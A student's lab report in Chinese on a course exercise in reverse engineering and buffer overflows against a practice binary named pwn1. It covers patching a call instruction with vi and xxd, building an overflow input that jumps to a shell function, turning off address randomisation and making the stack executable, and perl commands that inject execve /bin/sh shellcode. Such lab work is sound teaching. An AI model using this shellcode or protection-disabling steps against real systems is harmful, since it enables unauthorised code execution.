20155206赵飞 Exp1PC平台逆向破解及Bof基础实践
实验一 逆向及Bof基础
1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP汇编指令的机器码是"90"
JNE汇编指令的机器码是"75"
JE 汇编指令的机器码是"74"
JMP汇编指令的机器码是"eb"
CMP汇编指令的机器码是"39"
详情可见汇编指令及机器码速查
2.掌握反汇编与十六进制编程器
1)反汇编命令:objdump -d pwn20155236 | more
按ESC键
输入如下,将显示模式切换为16进制模式
:%!xxd
查找要修改的内容
/e8d7
找到后前后的内容和反汇编的对比下,确认是地方是正确的
修改d7为c3
转换16进制为原格式
:%!xxd -r
存盘退出vi
:wq
其中:%!xxd是把代码转成16进制数,不转根本就是一堆乱码,当然最后要用:%!xxd -r改回来
修改并保存之后再次反汇编查看结果
运行pwn
二:
编辑输入为
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
,可用xxd input查看input,随后运行pwn1;



三:
输入下面的指令
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
构造输入
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
输入(cat input_shellcode;cat) | ./pwn1,运行pwn1,然后打开顶一个终端,输入ps -ef | grep pwn1找到pwn1的进程号
输入gdb,进入gdb调试,输入进程号
然后输入info r,查看栈的地址
使用x/16x 0xffffd33c查看其存放内容
由我们构造的input_shellcode可知,shellcode就在其后,修改为这个地址;
输入
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x10\xd3\xff\xff\x00"' > input_shellcode
重新构造input


20155206赵飞 Exp1PC平台逆向破解及Bof基础实践的更多相关文章
- 20155336虎光元 Exp1PC平台逆向破解及Bof基础实践
20155336Exp1 PC平台逆向破解(5)M 实践目标: 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入 ...
- 20155236范晨歌 Exp1PC平台逆向破解及Bof基础实践
出现的问题及解决: 在下载execstack时,出现了下列签名无效的错误! 解决方案:发现是密钥过期了,将新的密钥填入apt-keyring 输入命令:apt-key adv --keyserver ...
- 20155202张旭《网络对抗技术》 week1 PC平台逆向破解及Bof基础实践
20155202张旭<网络对抗技术> week1 PC平台逆向破解及Bof基础实践 1.实践目标: 实践对象:一个名为pwn1的linux可执行文件. 该程序正常执行流程是: main调用 ...
- 20164310Exp1 PC平台逆向破解和BOF基础
1.逆向及Bof基础实践说明 1.1实践目标 实践对象:pwn1的linux可执行文件 实践目的:使程序执行另一个代码(ShellCode) 实践内容: 手工修改可执行文件,改变程序执行 ...
- # 2018-2019-2 20165210《网络攻防技术》Exp1 PC平台逆向破解(BOF实验)
2018-2019-2 20165210<网络攻防技术>Exp1 PC平台逆向破解(BOF实验) 实验分为三个部分: 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. ...
- 2018-2019-2 网络对抗技术 20165337 Exp1 PC平台逆向破解(BOF实验)
实验内容 直接修改程序,跳转到getShell函数. 使用BOF攻击,覆盖返回地址,触发getShell函数. 注入一个自己的shellcode并运行. 任务一:直接修改程序,跳转到getShell函 ...
- 2018-2019-2 网络对抗技术 20165303 Exp1 PC平台逆向破解(BOF实验)
1.实践目的 本次实践的对象是一个名为pwn1的linux可执行文件. 三个实践内容如下: 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. 利用foo函数的Bof漏洞,构造一个 ...
- 2018-2019-2 网络对抗技术 20165304 Exp1 PC平台逆向破解(BOF实验)
1.实践目的 本次实践的对象是一个名为pwn1的linux可执行文件. 三个实践内容如下: 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. 利用foo函数的Bof漏洞,构造一个 ...
- 2018-2019-2 20165234 《网络对抗技术》 Exp1 PC平台逆向破解
实验一 PC平台逆向破解 实验目的 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另 ...
随机推荐
- innerHTML在ie9有部分无法添加
在高版本的浏览器,innerHTML就如正常时候,里面可以套任何字符串,但是在ie9下,innerHTML不能是table ,tr td等标签字符串,解决方法如下: 在table添加一个tr var ...
- Node.js+Ajax实现物流小工具
半年过去了,好像什么也没干,好像什么也干了. 最近在网易云课堂上看到了这个课程,觉得很有意思,就跟着课程做了一遍,课程地址:http://study.163.com/course/courseMain ...
- 分享今天在客户那里遇到的SQLSERVER连接超时以及我的解决办法
分享今天在客户那里遇到的SQLSERVER连接超时以及我的解决办法 客户的环境:SQLSERVER2005,WINDOWS2003 SP2 32位 这次发生连接超时的时间是2013-8-5 21: ...
- 【SPL标准库专题(1)】 SPL简介
什么是SPL SPL是Standard PHP Library(PHP标准库)的缩写. 根据官方定义,它是"a collection of interfaces and classes th ...
- 忘了mysql密码咋么办?
一.已知mysql数据库root的密码,修改root的方法如下: 1. mysqladmin 命令直接修改: ~]#mysqladmin -u root -p password "newpa ...
- 系统监控工具-glances
作为运维不仅要时时监控系统,还需要优雅的装13,当别人还在命令的小黑框里敲打那个top命令去查看系统性能的时候,我们带你使用web端监控系统性能 glances 是利用Python语言开发,的监控工具 ...
- Python编写API接口
要求通过http://192.168.50.74/aptest/calc/?a=aa&c=00&b=bb进行访问,参数a="aa",b="bb" ...
- gitlab配置push -f 关闭
默认路径是/var/opt/gitlab/git-data/repositories/组/库 修改conf 文件 [core] repositoryformatversion = 0 filemode ...
- 大话存储 3 - 七种磁盘RAID技术
RAID技术 Redundant Array of Independent Disks 由独立的磁盘组成的具有冗余特性的阵列. 有两个特性: 阵列:需要很多磁盘来组成 冗余:允许某块磁盘损坏之后,数据 ...
- 【Amazon 必考】Amazon Leadership Principles 亚马逊领导力准则
Leadership Principles,也就是领导力准则,不仅仅是几条用来鼓舞人心的口号,更是成就了Amazon特有公司文化的秘诀.不管是为新项目讨论创意.寻找解决客户问题的方案,还是面试求职者时 ...